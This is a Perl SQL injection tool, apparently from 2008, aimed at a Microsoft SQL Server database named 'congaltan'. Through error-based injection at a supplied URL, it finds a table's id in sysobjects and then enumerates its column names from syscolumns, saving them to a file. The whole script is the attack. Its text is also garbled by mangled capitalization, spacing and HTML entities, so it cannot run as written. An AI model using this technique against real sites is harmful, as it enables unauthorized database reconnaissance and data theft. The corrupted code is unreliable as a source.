#! /Usr/bin/perl-w
# Codz by n3tl04d
# Date 2008-4-13
Use strict;
Use lwp;
If (@ argv! = 2 ){
& Nbsp; print & quot; usage: $0 injection point Table Name & quot ;;
& Nbsp; exit;
}
My $ browser;
My $ start = time ();
My $ talbe = $ argv [1];
My $ vul = $ argv [0];
Sub do_get {
& Nbsp; $ browser = lwp: useragent-& gt; new unless $ browser;
& Nbsp; my $ resp = $ browser-& gt; get (@_);
& Nbsp; return ($ resp-& gt; content, $ resp-& gt; status_line, $ resp-& gt; is_success, $ resp)
& Nbsp; if wantarray;
& Nbsp; return unless $ resp-& gt; is_success;
& Nbsp; return $ resp-& gt; content;
}
My $ tabl = & quot; $ vul % 20and % 200 & lt; & gt; (select % 20 count (*) % 20 from % 20congaltan. dbo. sysobjects % 20 where % 20 xtype = u % 20and % 20 name = & quot ;. $ talbe. & quot; % 20and % 20uid & gt; (str (id) & quot ;;
My ($ content, $ status, $ is_success) = do_get ($ tabl );
If ($ content = ~ M {value (. + ?)} Gi)
& Nbsp ;{
& Nbsp; print & quot; print id: $1 & quot ;;
& Nbsp; open (file, & quot; & gt; e:/perl/count.txt & quot;) | die (& quot; cocould not open file & quot ;);
& Nbsp; print file & quot; ========================================================== ================================== Table Name: $ talbe id: $1 & quot ;;
& Nbsp; close (file );
& Nbsp; crake ($1 );
& Nbsp;} else {
& Nbsp; print & quot; the table cannot be burst & quot ;;
& Nbsp; last;
& Nbsp ;}
Sub crake {
& Nbsp; my @ arr1 = ();
& Nbsp; for (my $ j = 1; $ j & lt ;= 470; $ j ++ ){
& Nbsp; print & quot; guess the $ j table column & quot ;;
& Nbsp; my @ arr = join (& quot;, & quot;, @ arr1 );
& Nbsp; my $ url = & quot; $ vul % 20and % 200 & lt; & gt; (select % 20top % 201% 20 name % 20 from % 20congaltan. dbo. syscolumns % 20 where % 20id = $ _ [0] % 20and % 20 name % 20not % 20in (@ arr) & quot ;;
& Nbsp;
& Nbsp; my ($ content, $ status, $ is_success) = do_get ($ url );
& Nbsp; if ($ content = ~ M {value (. + ?)} Gi)
& Nbsp ;{
& Nbsp; print & quot; to table column: $1 & quot ;;
& Nbsp; push (@ arr1, $1 );
& Nbsp; save ($1 );
& Nbsp;} else {
& Nbsp; print & quot; complete guessing & quot ;;
& Nbsp; last;
& Nbsp; & nbsp ;}& nbsp; & nbsp;
& Nbsp ;}
}
My $ end = time ();
My $ time = $ end-$ start;
Print & quot;. $ time. & quot; seconds & quot ;;
Sub save {
& Nbsp; open (file1, & quot; & gt; e:/perl/count.txt & quot;) | die (& quot; cocould not open file & quot ;);
& Nbsp; print file1 & quot;-$ _ [0] & quot ;;
& Nbsp; close (file1 );
}